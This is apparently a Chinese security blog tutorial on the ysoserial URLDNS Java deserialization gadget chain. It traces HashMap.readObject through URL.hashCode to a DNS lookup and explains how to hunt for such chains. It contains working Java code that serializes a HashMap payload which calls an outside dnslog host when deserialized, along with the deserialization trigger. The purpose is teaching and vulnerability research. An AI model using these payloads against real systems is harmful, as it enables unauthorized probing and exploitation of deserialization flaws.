前言
URLDNS 是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利用链”。因为其参数不是一个可以“利用”的命令,而是一个URL,其能触发的结果也不是命令执行,而是一次DNS请求。但是因为其使用Java内置的类构造,对第三方库没有依赖,并且gadget也简单,适合成为我们初学者刚开始学习反序列化利用链的一个很好的开始
1. URLDNS构造
构造代码
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class URLDNS_Test {
public static void main(String[] args) throws MalformedURLException {
HashMap<URL,Integer> map = new HashMap<URL,Integer>();
URL url = new URL("http://afe2aed36f.ipv6.1433.eu.org.");
map.put(url,1);
}
}
我们运行之后发现dnslog收到了一个请求
1.1 HashMap的put方法触发请求分析
在最后map.put()方法前打下断点,跟着调试走
进入到HashMap.java的put方法中(如果调试点击步入直接过去的,可以使用shift+F7智能步入)
里面的putval方法是往HashMap中放入键值对的方法,在放之前对key计算了hash,继续跟到hash方法中
传入的key是一个url对象,不同对象的hash计算方法是在各自的类中实现的,这里key.hashCode()调用URL类中的hashCode方法:java.net.URL#hashCode
我们进入到URL.Java文件中跟踪到hashCode方法,这个方法的目的是计算并返回对象的哈希码
然后hashcode计算,判断如果不是-1,则直接返回,表示已经算过了,是-1则继续计算
所以if语句里的条件不成立,继续走到handler.hashCode,这里的handler是URLStreamHandler的一个实例
继续跟进,发现会调用getHostAddress()方法
这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。
2 URLDNS链分析
2.1 前提
我们先明确产生漏洞的攻击路线:
前提:继承Serializable
入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个类作为参数)
找到入口类之后要找调用链 gadget chain 相同名称、相同类型
执行类 sink (RCE SSRF 写文件等等)比如 exec 这种函数
2.2 分析
首先,攻击前提,那必然是要继承了 Serializable 这个接口
HashMap 确实继承了 Serializable 这个接口。
发现有入口readobject()
我们看到第 1416 行与 1418 行中,Key 与 Value 的值执行了 readObject 的操作,再将 Key 和 Value 两个变量扔进 hash 这个方法里
若传入的参数 key 不为空,则 h = key.hashCode(),hashCode()是一个object,满足我们 调用常见的函数 这一条件
2.3 攻击分析
tip:如果在测试过程中发现dnslog没有接受到请求,换一个进行尝试
我们自己生成一个payload
public class URLDNS_Test2 {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.ser"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
URL url = new URL("http://bfe70140f8.ipv6.1433.eu.org.");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
hashcodefile.set(url,-1);
serialize(hashmap);
}
}
我们先设置hashcodefile.set(url,1234);
上面分析过,hashcode默认为-1,会自动执行下面的操作进行一次url访问,所以我们先设置一个非-1值,然后put()添加进去之后,再重新设置为-1,为反序列化的网络访问打下基础
然后我们执行反序列化上面的ser.ser文件,就会触发一次dns访问
public class URLDNS_Test1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
unserialize("ser.ser");
}
public static void unserialize(String Filename) throws IOException, ClassCastException, ClassNotFoundException {
ObjectInputStream objectInputStream =new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
}
}
2.4 ysoserial的payload分析
我们先去到 ysoserial 的项目当中,去看看它是如何构造 URLDNS 链的。
ysoserial/URLDNS.java at master · frohoff/ysoserial (github.com)
打开ysoserial/payloads/URLDNS.java的源码,可以看到它的调用链
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
我们查看ysoserial的urldns的payload生成代码,和咱们上面的攻击代码相差不大
第一点是禁止序列化时进行请求,1.2.3中咱们是通过设置hashCode非-1,而ysoserial是通过重写空的getHostAddress方法来实现
第二点是在put方法之后需要把hashCode设置为-1,然后在反序列化中触发访问请求
ysoserial的payload生成:
3.利用链挖掘角度分析URLDNS链
如上的分析都是我们以一个漏洞分析者去正向的分析这条链子,那么以漏洞挖掘者的身份我们就要倒过来看这条链了,首先我们从getByName这个函数开始,这个函数可以触发dns请求,那么我们看看谁调用了这个函数,我么可以点击这个函数,然后用Ctrl+Alt+H来查看这个函数的调用关系
然后就是逐步去看这些函数,是否能构造反序列化链,构造需要我们要注意三个事情
1、参数可控
2、类可反序列化,继承了序列化接口
3、最终走到反序列化触发的readObject
所以整个链路线为:
-
InetAddress.getByName(String) (java.net)
-
Url.getHostAddress() (java.net)
-
Url.hashcode() (java.net)
-
HashMap.hash(Object) (java.net)
-
HashMap.readObject()
4.参考文章
https://www.cnblogs.com/nice0e3/p/13772184.html#0x00-%E5%89%8D%E8%A8%80
https://drun1baby.top/2022/05/17/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-01-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%A6%82%E5%BF%B5%E4%B8%8E%E5%88%A9%E7%94%A8/
https://developer.aliyun.com/article/1215712#slide-2
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。
欢迎关注公众号“呼啦啦安全”,原创技术文章第一时间推送。
原文始发于微信公众号(呼啦啦安全):年轻人的第一条反序列化链-URLDNS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论